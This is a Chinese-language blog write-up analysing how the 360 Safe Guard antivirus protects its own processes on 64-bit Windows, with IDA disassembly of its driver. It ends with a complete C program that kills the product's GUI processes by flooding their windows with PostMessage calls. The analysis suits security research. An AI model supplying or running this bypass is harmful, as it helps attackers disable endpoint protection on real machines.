淺析360在系統的進程自保護及突破

自從改行玩硬件後,就很少關注病毒和反病毒之間的鬥爭了。某天在中關村論壇聽到一
名網友說 360在WIN64 上有了進程自我保護,萬分牛逼,連微軟的Process Explorer都不
能結束呢!我聽後心裏十分好奇,於是重操舊業,下載了最新版本的360 安全衛士7.7版本
(2011-5-6),安裝在64位 Windows 7虛擬機上來測試。
   首先拿“任務管理器”來測試,果然再次出現了熟悉的“拒絕訪問”提示:

  

   然後嘗試用用重載NTDLL + ZwGetNextProcess獲得句柄,發現NTSTATUS的返回值總是
失敗。後來發現OpenProcess可以在低權限下(比如以查詢進程信息的權限
PROCESS_QUERY_INFORMATION)打開360 的進程,但是想用DuplicateHandle或者
NtDuplicateObject來獲得同一進程的最高權限句柄時就失敗了。然後又對線程如法炮製,
依然失敗。最後用無句柄殺線程的絕招,連KiInsertQueueApc鉤子都抵擋不住的 10 萬次
PostThreadMessage,還是失敗。初步測試,發現來者不善,決定先用IDA Pro 5.5分析一
下 360的驅動,再想辦法。
  首先用 Win64AST(Win64下的系統工具,有查看內核模塊,管理進程等功能,

查看 360加載的驅動:

   可以發現,360 在Win64 系統上只加載了兩個驅動:360FsFlt.sys和一個網絡相關的驅
動。其中,360FsFlt.sys從名字上來看是文件系統過濾驅動。經分析,在它的裏面有進程
自我保護相關的內容。
   在做理智的分析之前,我們可以先進行猜測,猜測一下360會用什麼手段來實現進程自
我保護。第一種方法是Ring 3 的 Inline Hook,雖然安全穩定,但是容易繞過。上次我雖
然有篇文章講解如何反繞過Ring 3 Inline Hook,但是畢竟判斷方法還有一定的瑕疵。所
以我斷定,360不會這麼做。第二種方法就是廢掉Win64的PatchGuard機制,對內核函數
進行 Inline Hook,雖然這種方法最好,但是我肯定360也不會這麼做。因爲360 是一個商
業軟件,這種方法穩定性差不說,而且還會給競爭對手以“破壞系統安全機制”的口實。所
以唯一的可能是第三種方法,既微軟官方推薦的方法:用ObRegisterCallbacks註冊一個回
調,監控系統中所有的進線程句柄的動態,一旦發現對自己有害的句柄,馬上就把句柄關閉
並返回一個錯誤值。在用IDA 的分析中,果然證實了我的猜測。
  首先把360FsFlt.sys拖入 IDA進行反彙編,然後把點擊“Imports”,找到
ObRegisterCallbacks,然後雙擊ObRegisterCallbacks,進入和IDA VIEW-A界面,然後雙
擊 SUB_1D938,就進入和反彙編代碼的界面。什麼?您想按F5查看 C代碼?呵呵。真的不
好意思,64位的 IDA 不帶把彙編代碼變成C代碼的插件,只能委屈各位看觀看晦澀的64位彙編

代碼了。順便說一句,我覺得IDA對 64位 BIN文件做的反彙編不怎麼正確,但是沒什
麼確實的證據,所以還是不要亂說爲好。
大家可以看到,在調用ObRegisterCallbacks之前,還往 rax 寄存器裏放了兩個大家十
分熟悉的對象類型:PsProcessType和 PsThreadType,因此可以很肯定地說,360 就是用
ObRegisterCallbacks註冊了一個回調,用來監視進程類型句柄和線程類型句柄的動態!截
圖如下:  

完整的反彙編如下:  
;int __fastcall sub_1D938(PDRIVER_OBJECT DriverObject, __int64)
sub_1D938 proc near
arg_0= qword ptr 8
mov [rsp+arg_0], rbx
push rdi
sub rsp, 20h
mov rax, cs:PsProcessType
mov rbx, rcx
lea rdx, qword_ABA20
mov cs:qword_34300, rax
mov rax, cs:PsThreadType
lea rcx, unk_342D8
mov cs:qword_34320, rax
lea rax, qword_34300
mov cs:qword_342F8, rax
call cs:ObRegisterCallbacks
mov rdx, cs:qword_ABA20
xor edi, edi
cmp eax, edi
movzx eax, cs:byte_59E12
cmovl rdx, rdi  
test byte ptr cs:dword_59ED8, 4
lea ecx, [rdi+1]
cmovnz eax, ecx
mov cs:qword_ABA20, rdx
mov cs:byte_59E12, al
mov eax, cs:dword_59ED8


test al, 8
jz short loc_1D9D6
xor edx, edx ; __int64
mov rcx, rbx ; DriverObject
call sub_1E710
cmp eax, edi
mov eax, cs:dword_59ED8
setnl cs:byte_59E13
loc_1D9D6:
test al, 10h
jz short loc_1D9EF
mov rcx, rbx ; DriverObject
call sub_2350C
cmp eax, edi

 

setnl al
mov cs:byte_59E14, al
jmp short loc_1D9F5
loc_1D9EF:
mov al, cs:byte_59E14
loc_1D9F5:
cmp cs:byte_59E13, dil  
jnz short loc_1DA03
cmp al, dil
jz short loc_1DA3A
loc_1DA03:
lea rax, qword_5A2B8
lea rcx, [rbx+70h]
loc_1DA0E:
cmp [rax-0E8h], rdi
jnz short loc_1DA1C
cmp [rax], rdi
jz short loc_1DA26
loc_1DA1C:
lea rdx, sub_1D888
mov [rcx], rdx
loc_1DA26:
lea rdx, unk_5A390
add rax, 8
add rcx, 8
cmp rax, rdx
jle short loc_1DA0E
loc_1DA3A:
call sub_1D4A0
lea rcx, sub_1D660
xor edx, edx
mov rbx, [rsp+28h+arg_0]
add rsp, 20h
pop rdi
jmp cs:PsSetCreateProcessNotifyRoutine
sub1D938 endp

我還找了找360實現進線程自保護的過程,但是能力有限,只找到一部分實現[進程自
保護]的過程,沒有找到實現[線程自保護]的過程。如果讀者有興趣,可以自己找找:
 ; Maybe Protect Process
; int __cdecl sub_18294(HANDLE Handle, char)
sub_18294 proc near
var_58= qword ptr -58h
var_50= byte ptr -50h
var_48= qword ptr -48h
var_38= byte ptr -38h
var_10= qword ptr -10h
Handle= qword ptr 8
arg_8= byte ptr 10h
mov rax, rsp
mov [rax+8], rcx
push rbx
sub rsp, 70h
xor ebx, ebx
mov r10, rdx
mov [rax+8], rbx  
cmp rdx, rbx
jz loc_1834F
mov rax, cs:qword_59F10
cmp rax, rbx
jz short loc_182C8
mov rcx, rdx
call rax ; qword_59F10
jmp loc_18351
loc_182C8:
lea rax, [rsp+78h+Handle]
mov r9d, 80000000h
xor r8d, r8d
mov [rsp+78h+var_48], rax
mov rax, cs:PsProcessType
mov [rsp+78h+var_50], bl
mov rcx, [rax]
mov edx, 200h
mov [rsp+78h+var_58], rcx
mov rcx, r10
call cs:ObOpenObjectByPointer
cmp eax, ebx 
 jl short loc_1834F
mov rcx, [rsp+78h+Handle]
lea rax, [rsp+78h+arg_8]
lea r8, [rsp+78h+var_38]
mov r9d, 30h
xor edx, edx
mov [rsp+78h+var_58], rax
call ZwQueryInformationProcess
mov rcx, [rsp+78h+var_10]
cmp eax, ebx
cmovl rcx, rbx
mov [rsp+78h+var_10], rcx
mov rcx, [rsp+78h+Handle] ; Handle
call cs:ZwClose
mov rax, [rsp+78h+var_10]
jmp short loc_18351
loc_1834F: xor eax, eax
loc_18351:
add rsp, 70h
pop rbx
retn
sub_18294 endp

我覺得此函數的邏輯是這樣:傳入進程對象指針PEPROCESS (注意:我強烈覺得不是IDA
提示的 HANDLE 類型,而是PEPROCESS 類型。因爲對於計算機看來,兩者都是指針,沒有任
何差別),然後利用ObOpenObjectByPointer獲得進程的句柄,利用
ZwQueryInformationProcess獲得進程PID,接着對比是否爲要保護的進程,然後返回對比
 結果。至於關閉[由別的程序打開的][被保護進程的句柄],返回拒絕訪問等操作,並不在這
一過程(這句話很拗口,請多讀幾次)。至於這個驅動是怎麼保護線程的,我有自己的猜想
但並不確定,因爲我並沒有在反彙編代碼中找到ZwQueryInformationThread(但是找到了
IoThreadToProcess)。有俗語云“騙得了別人騙不了自己”,由於沒有形成讓自己信服的邏
輯,所以不敢信口開河,誤導讀者。
知道了 360如何自我保護,攻破這套防禦體系就簡單了:利用窗口***即可。因爲在
360 的驅動裏沒有防禦窗口***的代碼。準確地說,是微軟沒有提供解決窗口***官方解決
方案。至於窗口***的手段,用EndTask即可(大家可以試試用“任務管理器”的“結束任
務”來結束360safe.exe的主窗口),用SetWindowLong或 SetParent也可以。不過我用的
是EnumWindows + PostMessage的方案。代碼很短,只有短短40行,但是對付360safe.exe
和 360tray.exe都可以:  
#include <stdio.h>
#include <Windows.h>
#pragma comment(lib,"user32.lib")
HWND hWnds[8192]={NULL};
DWORD dwCount=0;
UINT EnumWnd(HWND h, LPARAM Param)
{
    if (dwCount>=8192)
        return 0;


    hWnds[dwCount] = h;
    dwCount++;
    return 1;
}
VOID KillGuiProcess(DWORD dwProcessId)
{
  DWORD pid=0;
    EnumWindows((WNDENUMPROC)EnumWnd, 0);
    for(UINT i=0;i<dwCount;i++)
    {
        GetWindowThreadProcessId(hWnds[i], &pid);
        if(pid==dwProcessId) 
        {
            for(UINT j=0;j<0x1000;j++)
                PostMessageA(hWnds[i],j,0,0);
        }
    }
}
int main()
{
    DWORD pid=0;
    printf("Input 360 PID: ");
    scanf("%ld",&pid);
    KillGuiProcess(pid); //特別聲明:只對360在 Win64的自保護有效!!!
    return 0;

 

 大家還可以看到,我的函數名是KillGuiProcess,也就是說對非GUI 程序無效。經測
試,確實對沒有界面的ZhuDongFangYu.exe無效。但是不是說我們就沒有辦法對付
ZhuDongFangYu.exe了呢?答案是否定的,不過要用點強制手段了。這裏先留下個謎團,借
評書人的常用的語句來結束本文:欲知後事如何,請聽下回分解。 
 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章